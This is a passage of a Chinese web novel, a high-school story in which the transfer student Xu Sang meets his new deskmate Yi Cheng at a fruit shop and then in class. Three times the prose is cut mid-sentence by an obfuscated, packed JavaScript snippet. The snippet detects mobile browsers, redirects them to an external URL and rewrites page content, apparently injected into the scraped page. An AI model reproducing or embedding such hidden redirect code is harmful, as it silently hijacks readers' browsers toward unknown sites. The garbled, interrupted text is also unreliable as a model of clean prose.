大概是想起刚刚遇到的那一看就不正经的混子群,连着回想起昨日闻到的血腥味。 他有来由地视线上移,停在对方腰上。 白色长袖,外面套了件黑色贴身围布,系绳恰好围在腰腹处,勾出一截儿劲瘦的腰。 看不出来伤……许桑别开眼,看向尾摆的字,“你家的?” “算是。”易承解释道:“店面是我家的,人租了开家水果店,我有时站个岗。” 敢情是,前后都捞了钱? 许桑视线上移,“是挺巧。” 巧得他都怀疑,这12小时内连着撞见两面……都是这带商家的拉客手段! 沿途,路□□汇处,许桑再次瞧见卖菜的那群大妈大爷,但没寻着刘姨,应是回去了。 说来,方向一对,才发觉,这路口离水果店还真就几步之遥。 要不都说人生的度量是位移,不是距离! 选错方向,头都努力秃了,你个负的,也比不过躺得死平死平的。 易承立定:“想吃什么?” 比起室外野蛮的划领域卖菜方式,这家水果店还算“专业”。 装饰给人一种舒适的感觉,柔和的灯光下,分门别类,规规整整摆了几个台架。 “西瓜。”许桑往里侧的架子看了眼,瞄到圆滚滚西瓜顶头上的价格“8元一斤”,愣了下,“这瓜,籽黑的吗?” “不黑。”易承听懂了他的话外话,随他走过去,解释道:“一般西瓜过季了,这种运输成本高,价也跟着高。” 越听越像连环套套套…… “行。”应下时,许桑心道: 就当给这份缘分买单了。 “一个水果店”,中等偏小的规模,相应的,店员也少。 除了易承没见着别的——如果不算童工的话。 一旁,还坐着位七八岁的小女孩。 论体量比头还大的头发被束成马尾,束得不好,几缕没勾上,堆在脖子窝里。她时不时伸手卡脖子里,搔痒。 小女孩坐白色泡沫箱盖上,膝盖卡着块木板,板上放着作业本,握个笔整只手都攥成馒头了。 眉皱得死紧,眼神也格外暗沉,好似笔尖之下的,是张什么高等竞赛卷。 离得近,许桑垂眼: “98-8=_;40+67=_” 小女孩使筷子一样使着笔,憋了半天憋出个答案:“9”。 许桑:“……” 不过,还没等下一题答案出炉,小女孩定住了,脑袋越来越重似的,下巴缓缓埋到板上。 紧接着,美其名曰护眼黄的纸页上,被两滴泪“啪嗒”炸开两个小“洼地”。 刚落下的答案,笔迹糊开,看不清字样。 这是……给难哭了? 小女孩哭起来就停不下来了,一抽一抽的,背部下凹,连带着上半身严丝合缝地贴着大腿,毫无形象地用作业纸捂着脸。 泪滴透湿了纸,铅笔印迹也乱蹭一通。 许桑微挑眉,没眼看地侧过身。 不过,绕过人时,不知道哪种情绪作祟,他从兜里摸出那颗顺来的糖,撂到木板边缘。 收回手时,隔着衣服,手指突然被抓住两根儿,沾着泪湿腻腻一片。 他下意识皱眉,刚想抽出,小女孩就抬起头,发红眼眶里,大大的眼睛包着一汪泪。 嗓音里夹着哽咽:“谢谢哥哥。” “嗯。” 许桑想要不动声色、但实际异常明显且艰难地抽回了手,另从兜里抽出纸巾擦手。 小女孩利落地抹掉泪,刚比苦瓜还苦的脸登时咧成笑脸,“哥哥要买什么水果?” 许桑脚步一顿:这是什么川剧变脸现场吗? 单手提溜着瓜,易承称好重,贴上价,就绕到一旁简单洗濯,用刀片成块儿装盘。 刚弄完,转头瞧见这一幕,他拎着西瓜盒就走了过来,“秋秋。” “哥……”见到来人,秋秋耸了两下鼻子,包滞到一半的泪似乎又有淌下来的倾向。 “题有这么难?”易承抽出纸抹了两把她的脸。 秋秋蓦地僵住,“才不是。” “也是,通篇错完也没见你哭过。”易承见她眼泪没掉了,把纸塞给她,顺手捋了把她乱成麻的头发,“那是怎么了?眼泪鼻涕糊一脸,搞艺术也没这么乱搞的。” 秋秋破涕为笑,两手抓过纸巾,狠狠擤鼻涕。 差不多哄好人,易承看了许桑一眼,说道:“瓜装好了,34。” “好。”许桑走到店门口去扫码。 易承偏过头,目光细细扫过秋秋脸上残留的泪痕,大概猜到她哭的原因,轻声问道:“秋秋,给你削个红苹果,吃不吃?” “吃!”秋秋极力大声回复。 许桑提着盒西瓜块,出店门前,回头看了眼。 小女孩没哭了,相反笑得憨憨的。巴掌大的脸被擦得干干净净,一双圆而亮的大眼睛,被泪洗得透亮; 易承站在一旁,削苹果。 背挺得笔直,微倚柜台,偶尔眉眼弯出笑意。手上动作流畅,绯红的苹果在手指间渐渐滚成米白色,削下来的皮儿被串得很长。 还挺岁月静好……许桑戳了块西瓜塞嘴里。 很甜,还水润润的。 他“啧”了一声,又戳了块。 别说,这瓜切的,也还挺好。 果肉和内果皮剥离得很明晰,不像之前遇到的那些个草率切法……吃瓜跟吃皮似的。 “哥,好甜。”秋秋叉着苹果块,一边吃一边左右摇摆,“好好吃。” 易承片完最后一块,走到一旁洗手,回来时用纸巾擦手,笑道:“至于吗?好吃到脑袋都要甩飞了…” 叉着苹果啃到一半,秋秋抬起头,回道:“哥,我——” “你吃吃吃。”易承无奈。 收整好手,易承绕到一旁,把没形了的水果堆了堆,拿着剪刀偶尔裁些枝叶。一派捯饬完,偏头见秋秋还坐在那儿,只是没吃了,歪着头发着呆。 他脱了一次性手套,走过去。 小台子上,落了两个苹果块,表皮氧化有些黄了。 小女孩坐在板凳上,两手交叠趴在台子上,眼里又裹满泪,嘴里嘟囔着:“妈妈……” 易承微滞,伸手盖在她头顶,轻抚。 “……甜苹果,想给妈妈吃。”秋秋伸出拇指,拨了下端正摆放好的苹果块。 易承叉了小块苹果,说:“你妈不喜欢吃甜的。” 哭得发抖的身子凝了下,“啊?” 易承喟叹一声后弯腰,把苹果喂到她嘴边,直白道:“让你吃的意思。” 秋秋顿了一下,摇头,“哥,我想给妈妈吃。” 捏着叉子的手轻颤,易承看着秋秋那双眼,沉了良久才开口: “秋秋,好吃的,爱吃的,你多吃些,妈妈就能尝到。就像你小时候,团在妈妈肚子里一样,妈妈吃什么,你吃什么;只是现在,换你先吃了,明白吗?” 秋秋愣了半天,把苹果块咬进嘴里,猛地点头:“明白。” “嗯。”易承回道。 等将人安抚完,他才重新戴上手套,绕到清洗台,难免走心地切盘。 太阳爬上顶空,散出来的光芒很有阵仗,但要说温度吧,想必它都没脸承认自己的存在。 穿过巷子,许桑难得顺利地拐回家。 “怎么去了这么久?”刘芳正淘着米,听到开门声就跑了过来,沾着水的手在围裙后抹了几遍,“我还说蒸好饭出来找你呢。张姐说你经常找不到路,容易走错。” “……”许桑关上门,“很久吗?” “嗯,也不是很久,就是要十一点了。”刘芳擦干净手,弯身提过水果袋子,“这季买西瓜,不太划算,死贵死贵的。” “嗯,买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069699|163142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得少。”许桑说。 “行。刚陈大爷吆我过去,我垮不下面儿就买了条草鱼,想着刚好带的有菜,就给你做酸菜鱼,你有什么忌口的不?”刘芳说。 “都行。” 没刺儿就更好了… 书桌没什么好收拾的,几本书翻个面儿立起来就行。 许桑坐在地上,把没弄完的书倒出来,按照资料和教材两大门类分别安置好后,捞过书包,把新领的几本也腾出来。 昨天在学校图书室清点书时,他把什么安全教育、写作训练什么的都单独抽了出来。 走时像个没带脑子的傻帽,忘了东也忘了西,反正最后出去时,还算一身轻巧。 弄完后,他叉了两块西瓜润喉,顺带把没翻完的书都翻了几遍。 课程进度不一样,这倒好说; 但,教材都他妈不一样,这就难说了。 就在他想上网买些教材时,手机震了两下,随后跳出一通电话,来电显示“梁意杉”。 许桑接通电话。 那头蹦出声音:“许哥,许哥,我靠啊,他妈我等了你一个月,相信你绝不会离我远去,借口都找烂了的那种相信。结果,今早看到班主任在班群里说,你转学了,转学了?!” 许桑又叉块西瓜,“嗯,转了。” “不是,哥,读得好好的,怎么就转了呢?虽然这个破学校,烂得无法无天,但是——身为新青年,理应‘吃得苦中苦,方为人上人。’你怎么能明知前有苦,就打退堂鼓呢?!” 咬断,许桑皱眉:“被监听了你?” 那头沉默了良久,才憋出一句,“哥,我新学的话术……真听不出来我浓烈的思念吗?” “没事就挂了。”许桑站起来,把手机丢一边,抽出本物理资料开始看。 连着翻了两页,电话里传来由微弱到张狂的哭声,“许哥,我他妈是真的想你了!” 许桑:“……” “没有你的日子,天天都是煎熬。什么狗屎数学,还有狗屎物理,难得要死。哦,我跟你讲,这次月考的题,就连铁嘴老袁都松了口说难。我他妈坐考场上,光是看题,脑袋顶就直抽抽……许哥,要是你在就好了!” 消化完他这一通激情发言,许桑嗓音清淡:“卷子发我。” “嗯?!许哥你……“ 躺尸一样躺得正平呢,一句话呛得他一个鲤鱼打挺挺起来,梁意杉翻了半天班群,把月考卷的压缩包转发过去,“发了发了。” “谢了。”许桑坐直了些,等文件打开时,抽了两张草稿纸。 “这有什么。不过,感觉应该虐不到你,老袁昨儿个还喟叹,‘要是许崽子还在,准能拿个满分的。’话说回来,你转去的学校,怎么样?” 许桑沉沉地扫完题,勾了几道感兴趣的,便开始手上没停地算着,“不怎么样。” “什么叫不怎么样?几点上课几点放学?放假呢?有没有青中变态,是不是也是一周放几小时这种?” “早七点半,晚九点半,正常双休。”许桑划到试卷下一页,扫了几眼,落下答案后,又捏着笔继续算。 “我操?我操!什么神仙作息!你怎么能说得这么风轻云淡……我刚还想炫耀一通,说我机智地骗了半天假,结果你压根儿就不上课!神他妈的人与人的差别……我……” 等人一通宣泄完,许桑把挑出来的题差不多算完,随便勾了两笔权当检查,“答案。” 梁意杉嘴上不停,手指却还专注地滑动着聊天记录,“呃……等我翻一下,行,都发你了。” 许桑应了一声,偏头才发觉,这通电话打了有近四十分钟,回味了遍他的话术,问道:“骗假,怎么个机智法?” “嗯……其实也没多机智。”电话那头,梁意杉哮喘发作一样猛地又抽又咳,半分钟后,自如道: “演了一出,给我妈吓到了。早上换衣服时,愣是给我按回床上,让我好好睡,别学死了。” 浏览完答案,许桑心情还算舒畅,笑了声,“小心纸包不住火。” “是兄弟吗,有些话很招乌鸦的……我靠!我妈刚从我门前经过,我还跟她从门缝儿里对视了眼,你这嘴!我装死保命去了,你,哦不,我……我多多保重,放假了再打给你。” “嗯。” 挂完电话,房间里安静下来。 许桑默了两息,静心把没翻完的那章“分子动理论”教材看完。 5. 第5章 周一,正常上课。 许桑到校门口时,站了很久都没决定好要不要往里走。 徐富说的没错,南城附中,的确小得可怜——捐楼还得先捐场地! 正常上个课,狭小的校门处,都能挤出春节赶火车的壮阔。 放眼望去,红白线条交叉着翻起一片浪;实在太挤的地方,五颜六色的书包尽数被顶过头顶,乍一看还怪惊悚的。 “遵守秩序,遵守秩序!来,一个一个进来……有没有素质,‘交警’在这儿都插队,还有没有纪律意识了!” “对不起,保安叔叔。您在哪儿呢?我真没看到。” “哈哈哈哈……笑死我——谁他妈把我鞋踩掉了!诶!我鞋,我鞋,我新鞋啊!” “前面的能不能快点儿啊,占着茅坑不拉屎算什么东西!” “我的个爹啊娘啊神啊,早自习的铃儿马上就要响了,我作业还没补完呢……” 看了两分钟,许桑错开步子,往旁边绕。 绕到一半,许桑停了步子,说不清是懒得走,还是面前这堵围墙实在矮得诱人。 他往后挪了两步,连助跑都不需要,单脚一跨,手攀住墙沿,便轻轻松松地翻了过去。 有时候,破地破点也好。 只是,学生都拦不住,贼岂不是该螃蟹横行了…… 七点三十整,许桑刚好卡进教室门口。 理一班人到得还算齐整,不像刚绕过的几个班,实在太稀稀拉拉了,随便搭件校服外套都能怀疑它是个人。 教室里算不上安静,人群到处扎堆围着,但很有序——听一圈下来,除了翻卷子折卷子声儿,便只有念答案写答案声儿。 作为班长,陈慢在讲台上来回走着,抱着词汇书声情并茂地朗读:“abandon!abandon!” 而背后的黑板上,白色粉笔描着歪歪斜斜的几个“鬼画符”:“早自习任务:准备英语听写。” 但貌似,没人关注到这一点。 把书包放下,许桑抽出本书,旁若无人地预习起来。 有时候,教室喧闹些挺好的,闹着闹着就模糊成背景音,习惯之后就忘了,忘了就沉浸进书里了。 “同学们,语文作业,两张卷子,摊开,写好名字从最后一排传上来,快快快!” “糟了忘收作业了,来来来,第一排,把数学卷子收起来,收快点儿,白老母来了就惨了!” “英语作业交出来,交出来,我亲自来收,一个都别想蒙混过关!” 还没等副科课代表有所动作,紧闭的教室前门被一脚踹开,细跟高跟鞋踏地时,“咚咚”几声,有刺破耳膜的威力。 见到来人,陈慢怕来不及,都没去摸黑板擦,将就着用校服袖子飞快擦了两把“早自习任务”,没管黑板被擦成什么鬼样子,就飞奔下了讲台。 小蜜蜂握在手心里,白晓莉走到讲台正中央,把教材教案往讲桌上一拍,拍起来一沓灰,跟沙尘暴似的。 她嫌弃地伸手拂开粉笔灰,而后慢条斯理地撩了一把头发,埋头优雅地“背”上小蜜蜂,拧着按钮开了声音。 一甩头发,左右打量一圈,撅起嘴来“呼”了两声,接着招牌性地翻了个白眼,才念道:“上课!” 乱成一锅粥的教室安静下来,都见怪不怪地起身,有气无力地喊道:“老师好。” “同学们好,请坐。”白晓莉摸到戒尺,给它翻了个面儿,立起来,半个身子的重量都压在上面,声音又拔尖了,说道: “语文课,就别收其他科的作业了,下回再让我撞到,只要不是语文的,管你什么作业,管你多么重要,我都给撕了。到时候别跟我哭什么窦娥冤,听明白了吗?” 死不来气的回答,四十来号人的音量比不过蚊子:“明白。” 吕丁压着声音抱怨一句:“不是,还有半分钟才上课啊。” 赵鸿途把物理练习册悄悄塞到语文书下面,用食指推了推眼镜,“你懂什么,这叫认真负责的好老师,八辈子修来的福分才叫你遇上呢。” “……”吕丁捂嘴“呵呵”笑了两声,“你还怪幽默。” “来,抽个人背书。”白晓莉抬头,环视教室,故作深沉地跟前排后排人一一对视一遍,找到目标后,没管上课铃声的闹耳,喊道:“就新来的那个吧。” 铃声旋了两转,质感极差地卡出两秒电音,而后才依依不舍地停下。 教室里依旧安静一片,讲台上的人却皱起眉头,环握戒尺,往下使劲儿一敲,“放个假,皮紧了是不是!” “嗯?刚看她嘴巴拉巴拉的,但没听清说了什么。” “我靠,抽的不会是我吧,怎么没人站起来。” “烦死我了,每次明知道响铃了还要说,听又听不清,等会又要发脾气,真他妈服了。” “又来了又来了…本来下面就没人喜欢她,还夹来夹去,关键声音还小,受众在哪啊…” “听都听不到,上个屁的课!唇语课吗?!” 议论声小小的,却格外有精力,源源不断的,此起彼伏。 等了半天没等到人,白晓莉又拍了下讲桌,“新来的?”说着还翻着教案本里塞着的名单,往下瞄到人名,念道:“许……许桑?” 前排的人齐刷刷地转过脑袋,掩耳盗铃式地“蛐蛐”着。 确定喊的人是自己,许桑站起身,抬眼看向讲台,“嗯?” “叫你半天了,耳朵是聋的吗?”白晓莉走下讲台,高跟着地,叮叮咚咚带着音响似的走过来,戒尺戳在课桌上,吼道: “别以为你刚转学,就有什么豁免权。老娘最烦的就是屁的特权,别想他妈的搞特殊,听明白了吗?” “……”论这话题跨越广度,吵架输不了。想必:儿时拉屎不擦屁股的旧账都能连着新账一同算了。 许桑微挑眉,垂眼看着她。 身高差得有点儿多,踏个恨天高,气势上还是输了半截儿,白晓莉气不打一处来,敲桌。 “你什么意思?不肯认是不是!尊师重道,小学老师没教过你吗?还是单纯对我有意见啊?” 指尖轻动,许桑看了半天,才将她和之前办公室里的中年妇女挂上钩。 “又不说话……行,你们学生,喜欢保持沉默,不说话,以为很有种是不是!” 许桑不解,“以全概偏?” “啊?”白晓莉话头被一岔,不过到底是教语文的,品点字眼,是专长……品到点不好的语气,她瞬间炸了:“对我这么有意见?!那别听我课了,出去,站走廊上,什么时候没意见了,什么时候进来!” 说完,她背过身,连叹几口浊气,“你们上语文课,先把态度摆好,还有,都把精神给我拿出来!谁要是想跟他出去站,你就耷拉个脑袋,看老娘逮不逮得到你!” 她这一声“振聋发聩”,大半部分蠢蠢欲动的人迅速安静成“鹌鹑”。 教室里难得井然有序。 等白晓莉抽到某个倒霉蛋背《出师表》时,吕丁转过身来,忙道: “她今天又发疯。许桑同学,你千万别放在心上啊,就当出去吹个风醒醒神儿,没事儿。” 赵鸿途也和道:“对,没事儿。这班上的人基本都出去过,就当是个入班传统,或者欢迎仪式。” “yep!易哥之前就经常出去,都熟了。”吕丁老练地朝他贼笑,“而且吧,如果摸得到路的话,你现在可以去小卖部,应该刚好有新鲜出炉的烤肠,包好吃的!” 神他妈的烤肠啊…… 许桑摸起支笔,随手拿了个本儿,“嗯”了声,就往外走。 要说什么感受,他倒真没有。 又不是没站过走廊,尴尬几次也就习惯了。 若说莫名其妙吧,也还好,第一天班主任阴阳任课老师时,他也算莫名其妙过了。 早上八九点钟的走廊,带着自然界安宁的气息——正对面是树,树下面有草,草都衰了。 派派的,教室间隔音效果极差都影响不了的“安宁”。 毕竟,大早上的,甭说学生清不清醒,就连老师都云里雾里。 许桑将校服拉链拉到顶,倚着墙,伸手把薄薄的本子摊开,盖上脸就睡。 “早好——” 蹲了半天保安室,徐贵把能抓到的迟到生都抓得差不多了,这儿忽地光明正大冒出一个,他差点晃眼看成领导,敬礼姿势都摆好了,走近才认出被“蹂躏”得没个正形儿的校服来,忙改口: “嘿!哪个小崽子,报上名来!” 易承脚步一停,偏头看过去,“徐叔?早好啊。” “易承?!”徐贵看着人,“好个屁!太阳都晒屁股了,还没晃悠进教室,叫哪门子学生。” 责骂完,他伸手薅了把易承的头发,“……真是你,你还舍得来上学啊?” 易承往后躲开他的“爪”,伸手理了下额前的碎发,“想我了,徐叔?” 徐贵立马收了笑容,一掌拍在他肩上,“滚滚滚,老子想谁也不想你,快去上课!免得等会又告黑状,说老子拦着你,不让你进校门。” 易承笑着,“行。” 好在学校小,忘了路都不打紧,易承上了教学楼,凭着浅薄的印象,上了四楼。 才拐到楼梯口,就迎面对上正下楼梯的徐富。 他顿了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069700|163142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心道“祸不单行”,面上却还春风和煦:“老徐早上好。” “哟,还知道来啊。”徐富抱着保温杯,站在第二级台阶上,看着易承,语音发涩,“半年没见,瘦了一大圈…你这是,进厂了啊?” “……什么话。” 易承提了提书包带子,斜倚着楼梯扶手,鼻尖嗅出股浓烈的菊花茶味儿,绕开了话题,“您还是一如既往的健康。” “你懂什么,身体是革命的本钱,没有身体,什么都是屁。” 徐富说着,还旋开盖子,嘬了两口热茶,烫得他嘴皮直缩,哆嗦了两下。佯装什么也没发生,他道:“哦,对了,来了个转学生,塞你旁边了。” “哦。” “你这态度,唉,我看了他的成绩单,应该是个好学生,主要是数学贼好。”徐富合上盖子,“好久没见过成绩好的了,尤其是数学好的。你别有事没事乱烦我的好苗子啊,听到没有!” “……行。”易承诉道:“鲜花插在牛粪旁,我安静我不动,行了吧?” “倒也不是这个意思。”徐富往下退了级台阶,老茧横生的手轻轻地拍了下他的肩。 “你要老实点儿,也不至于是堆‘粪’……都几点了,再唠碍我事儿了。你快回去上课,等会儿白姐知道了又该骂我‘上梁不正下梁歪’了。” 易承点头:“……” 上四楼时,易承叹了口气:都什么些“刻板印象”! “我上周布置的背诵篇目,考虑到你们学习任务重,只安排了三篇,两篇都是初中篇目,结果呢,今天抽了三个人来背,一个比一个背得差!是不是我不一个一个监督,你们就不认真背了,啊?!” 隔着两间教室,都能听到白晓莉贯通一栋楼的脾气。 易承“啧”了一声,将将拐进后门前,脚步一滞。 走廊上有人罚站,他见多不怪; 睡得这么正大光明,倒还是少见。 而巧的是,他看过去时,以本盖面的人,偏了下头。随后,“数学作业本”被抽离,眉眼间压着烦躁的人侧转过来,看向他。 两人都愣了下,许桑先一步回过神来,有些诧异地看向他。 易承收回步子,将人细看了眼:“你——” 话还没开头,后门口就窜出个人影,随后戒尺横在门框之间。 白晓莉冷哼一声,粘着烂番茄色口红的嘴角都快牵到颧骨上了,她中气十足地道: “一个不留神,又闹喳了。易承,你是半点不尊重我啊,有半年没见了吧,这见一面就要给我整下马威,是吧?” “嗯?”易承不动声色地敛眉,语气还算和顺,“您误会了。” “误会?就是说我冤枉你了呗。”白晓莉挽起袖子,袖口卷到手肘处,怒气燃眉。 “我眼睛视力好得很,5.2!哪回冤枉过谁!老娘一天天辛苦备课,半夜都在写教案,你们倒好,作业作业不写,课文课文不背,现在还来跟我嚼舌根,是不是仗着自己才十七八岁,猝死不成!” 易承没说话,只是平静地看着她。 许桑别过头,视线越过走廊落在楼外的不知名树上,叶子由绿转黄,已然枯败了; 余光里包着易承,他表情很淡。 “不说话就是承认了?”白晓莉扁了两下戒尺,“我一直信奉,‘知错能改,善莫大焉。’……你也给我站外面,好好反省。” 说完,她转回教室,声如洪钟,“懂规矩,尤其是在我课上,不然有你们受的。来,我们继续上课!” 易承“啧”了一声,脚下调转方向,沿着墙,蹭到了许桑旁边。 两人谁也没说话,出奇默契地偏过头,合上眼。 下课铃响时,白晓莉还没讲完试卷,便快马加鞭、删删减减地囫囵完答案,才丢下大半截儿白色粉笔,抱着书离开。 教室“冻”得跟冰湖一样,过了大概有一分钟,里头才被解冻了。 伸懒腰的发出声声由衷的呼声,困得眼皮打架的终于找到机会“调解纠纷”……一教室的大忙人。 “易哥,我靠真的是你。”刚没睡醒,吃瓜都没吃明白,吕丁蹦出来,一个助跑,上来就抱住了易承,“我还以为是幻听了呢。” 易承故作嫌弃地推开人,“别腻歪。” “是!”吕丁嘹亮地回了一声,余光瞄到一旁的许桑,连忙介绍道:“这是许桑,你新同桌。”说着,他凑近了些,小声说道:“是不是很帅!” 错开他的胳膊,易承偏头看向许桑,第三次看到这张脸,形容不出什么滋味,他伸出手,“易承。你好。” 许桑掀起眼皮,看向他,伸手回握,“你好。” 6. 第6章 第二节课下课,是长达半个小时的大课间。 自从上一届的年级第一跑个操把腿摔折了,以致当年南城附中痛失到嘴的“市状元”,年级一致决定: 不要跑操,跑操伤身害人。 于是乎,艺术老师痛肝几月,使尽浑身解数,混着各种锅碗瓢盆声拼接组编了曲室内操。 也造就了现在,每天都要上演一出的“群魔乱舞”。 陈慢抱着一摞花花绿绿的传单进来,看了一眼台下激情得胳膊腿儿都快甩飞了的人,发出一声感叹。 走到黑板旁,踮起脚尖蹦跳,“啪”地一声关了广播! “舞”得正起劲,突然没了伴奏,坐着的人齐刷刷往讲台上看。 眼里疑惑之深,堪比电视剧里被一掌拍晕、醒来就对视上人贩子的那种。 没有清澈,只有“愚蠢”。 效果过分惊人,陈慢抓住时机,连忙招呼“得力干将”关紧了前后两门,故弄玄虚地走到讲台中央,在隔壁教室开party似的狂欢下,酝酿了很久才大声说: “亲爱的同学们,下周,我们将迎来高中唯一一次兼最后一次的秋季运动会!怎么样,听到这消息,高不高兴,激不激动?” “高兴个屁,又要撺掇我去跑三千了呗!” “不是,真有人喜欢运动会啊!咱这学校,跑八百都要跑四圈,还设三千项目,校领导那么想看转陀螺比赛吗?” “还知道是唯一一次啊……不过有总比没有好,还是激动一丢丢吧。” “天都冷了,来拼热血?” “不是,你们乐观点行不行,玩一天不上课啊,你们真是看小不看大,屁出息没有!” …… 陈慢走下讲台,站在靠门的第一排前,一边数着发传单,一边激情宣告: “本次运动会,绝对盛大,绝对漂亮,绝对有趣,绝对轻松!要参加的,赶紧报名,老徐手速慢了,我们班参赛名额比较少,大家抓紧时间,抓住机会!!” 不知哪个方向,有几只猴“嚎”了两声,把氛围拉到极致。 “什么叫手速慢了!” 前门门中间,通风用的小洞里突然凑近一张老嘴,口水跟着飞溅:“我这是为你们的学习着想!” 耳边传来熟悉得不能再熟悉的声音,陈慢吓得差点背过去,一瞬间,脑子运转之快,都能擦出火花了,他毛手毛脚地“扳”开门,笑道: “老徐,您进您进。” 常年本着“伸手不打笑面人”的宗旨,徐富走进来,瞪了陈慢一眼,才慢吞吞地遛到讲台上,说: “别听陈慢瞎说,你们都是高三的人了,哪来那么多时间跑啊跳啊蹦啊笑啊的,我故意少拿几个名额,是在为你们的未来着想。这层长远的考量,哪个班主任做得到?” “是是是,您功德无量,利在千秋!”陈慢摸着马屁股就拍。 几个热情的男生也跟着应付上,吹得天花乱坠,夸得徐富一阵儿找不着北。 “还是老样子。”易承往讲台上看了两眼,收回视线时,随口叹了句。 许桑笔尖轻顿: 什么千年老妖似的发言。 叹完,他继续了最后一道物理大题的思考。 运动会宣传传单一路路传下来,吕丁把最后两张拿在手里,手臂弯到后脑勺后面,一并递给易承,扭头笑道:“易哥,这次运动会,理一班的神话,又要靠你来谱写了!” 易承接了传单,把下面那张拎出来,移到同桌桌上,顺便看了眼内容,回答吕丁的话:“趣味赛啊,没意思。” 吕丁“啊?”了一声,“看这么快!我都还没看到项目内容呢。” “……” 易承懒得再看,手指灵活转动,把五彩缤纷的传单来回翻折,几乎是无意识地、靠着肌肉记忆,没几下就折出了雏形。 算完题,许桑才腾了些精力,往桌角上的传单看了眼。 都是些经典趣味项目:“包装木乃伊”、“乒乓接力赛”、“2人3足”、“抱双球接力赛”…… 绝对轻松? “幼儿园”项目能不轻松。 “项目看完了吧,应该也激动完了吧。”徐富拖过椅子,一屁股坐下去,翘起二郎腿来,语重心长地说道:“行,那我先说个事儿。” 走廊外,按照室内操时长划分,已经正常休息的班级里,有人扯着嗓子在吼,还有些“鸡飞狗跳”在过道里。 这阵仗闹腾的,不知情的还以为有人在“裸.奔”。 徐富仰头看着墙上的透明窗,气都还没叹出来,陈慢就飞出座位,拉开门,探出脑袋,朝外面喊了声: “路过理一班请安静,墙上牌子写了‘大声收税’……长点儿眼睛吧!” 外头叽叽喳喳声果然就弱下去,徐富相当欣慰地点头嗯了两声。 他继续道:“这周周三,有个月考。和之前小打小闹的卷子不同,这次是完全贴近于高考的月考卷。相应的,考试范围也就是高考范围。算是个摸底考试吧,学校对此非常重视。” “这么快的吗,感觉还没学什么呢,就高考范围了。” “高考范围是什么?” “傻逼啊,你学了什么,高考范围就是什么。” “啊?啊?我好像什么也没学,脑子里一片空白。靠,考什么,考个鸭蛋?” “摸底考试……没底摸个屁!我都不在实验范围内,可以不参加吗?” “好紧张,学了这么久,终于要正儿八百地考一回了吗!” 徐富难得耐心地听他们发表完感想,也颇有感触地左右转脑袋。 “我之前就说过,高中时间过得很快,一眨眼就过去了,你们偏不信。这次考试呢,全校拉通排名,也比较正式,两位监考老师前后监考,走廊也有老师巡视,所以,作弊什么的就收一收。” “之前还没感觉,怎么一说到高考就感觉来了。” “我日,想拉屎了……” “来真的啊,糟了,怎么就心跳加速,开始慌了!” “我服了你们了,不就是个月考,考多少次了还紧张。” …… “我再说一遍,别作弊。考出真水平,之后才能好好地查漏补缺,知道吗?”徐富朝讲桌凑了凑,手上翻来覆去滚着保温杯,眼神里满是忧伤: “高考对你们的重要性,我一直在强调。高中都过完三分之二了,也不知道你们听进去没有……反正不管怎样,时间还长,欠下的还来得及补齐,努努力,一定能够上……” 上课铃响时,物理老师曹武杵在锁紧的门口。 硕大的身躯弯下来,从缝里瞄了眼讲台上的人,不消看清便知道是谁,他又往后退了一步。 徐富讲得涕泗横流,余光看见陈慢一直使眼色,才往门口看了眼,当即站起身来,“不好意思啊,上课了,都没听见……小曹,快进来快进来。” 门打开时,曹武朝他笑了笑,肌肉傍身的腿异常有力,三两步就跨上讲台,课本放下时,笑了笑: “徐老师讲得好啊,同学们要听进去,别嫌烦。珍惜时间,肯定能考好,上个好大学,走好人生第一步嘛!” 徐富欣慰地看着这具二十出头的年轻面孔,笑着退出去,关上了门。 这些说辞,老套且无新意,耳朵都听出茧子、能自动“左耳进,右耳出”了。 许桑转了圈笔,指尖捏着试卷一角,正欲翻页,白花花沾点儿黑的卷面上,一颗杂色的“爱心”玩蹦床一样,弹了两下,而后精准滚到他食指指尖旁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069701|163142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许桑:“……” “……”易承轻顿,眼睁睁看着手里的“爱心”飘洋过海越过三八线——就课桌间的一条缝儿。 一向反应快的他竟不知说些什么。 许桑落笔,看着这颗叠得很标准的“心”,沉了两秒,道:“你的?” “嗯。”易承笑了声,手肘撑桌,头枕着手心,偏过上半身看他,“如何,好看吧?” 之前没从这角度看过许桑。 这么一看,还怪好看的。清清瘦瘦一个人,属于完全没有赘肉的类型。皮肤很白,在后排光线贫瘠之处,都白得出群,是一般女孩儿都大谈羡慕的“肤色”。 眼睫很长,轻眨间掩得神色晦暗不明。 “还行。”许桑转了圈笔,笔帽朝下握住,精准地把“心”赶回他桌面。 易承顿了下,在他说话间,视线不自觉下移,落在他唇上: 